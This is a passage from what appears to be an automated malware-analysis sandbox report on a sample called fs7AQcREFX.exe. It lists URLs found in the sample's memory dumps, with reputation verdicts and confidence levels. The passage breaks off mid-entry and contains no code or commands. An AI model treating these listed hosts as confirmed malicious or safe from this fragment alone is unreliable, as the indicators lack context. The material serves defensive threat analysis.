fs7AQcREFX.exe, 00000000.00000003.438371636.00000000031E0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.554380208.0000000003120000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.530446894.0000000006D90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nunomira.com/ll	fs7AQcREFX.exe, 00000000.00000003.511573881.0000000000B2C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chart.apis.google.com/chart?chs=100x100&cht=qr&chld=L	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.531053757.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000002.731356544.0000000006154000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.438371636.00000000031E0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.554380208.0000000003120000.00000004.00001000.00020000.00000000.sdmp	false		high
http://gmpg.org/xfn/11	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.531053757.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.438371636.00000000031E0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.554380208.0000000003120000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.530446894.0000000006D90000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.633716697.0000000000D50000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.512849987.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.513941237.0000000000D50000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.399549475.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.517712783.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.514211859.0000000000D50000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.515047997.0000000000D70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.513206122.0000000000D60000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.397997118.0000000003600000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.olras.com/5;	fs7AQcREFX.exe, 00000000.00000003.393699093.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.393801963.0000000000AC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.11tochi.net/iW	fs7AQcREFX.exe, 00000000.00000003.627176737.0000000000A73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/stencil/	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.531053757.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.438371636.00000000031E0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.554380208.0000000003120000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.530446894.0000000006D90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/177-appartement-a-vendre-sigean-30378	fs7AQcREFX.exe, 00000000.00000003.443831689.00000000031E0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/uploads/elementor/css/post-158.css?ver=1685382767	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.531053757.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.438371636.00000000031E0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.554380208.0000000003120000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.530446894.0000000006D90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pwd.org/r	fs7AQcREFX.exe, 00000000.00000002.731356544.0000000006187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gholographic.com/	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/wc-product-table-pro/assets/css.min.css?ver=2.1.0	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.alteor.cl/osoft	fs7AQcREFX.exe, 00000000.00000003.504952373.0000000000AF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ora-ito.com/	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000002.716832808.0000000000B22000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401467373.0000000007390000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tickets.suresupport.com/faq/article-1596/en	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.512849987.0000000000B90000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.513941237.0000000000D50000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.399549475.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.517712783.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.514211859.0000000000D50000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.515047997.0000000000D70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.513206122.0000000000D60000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.397997118.0000000003600000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL 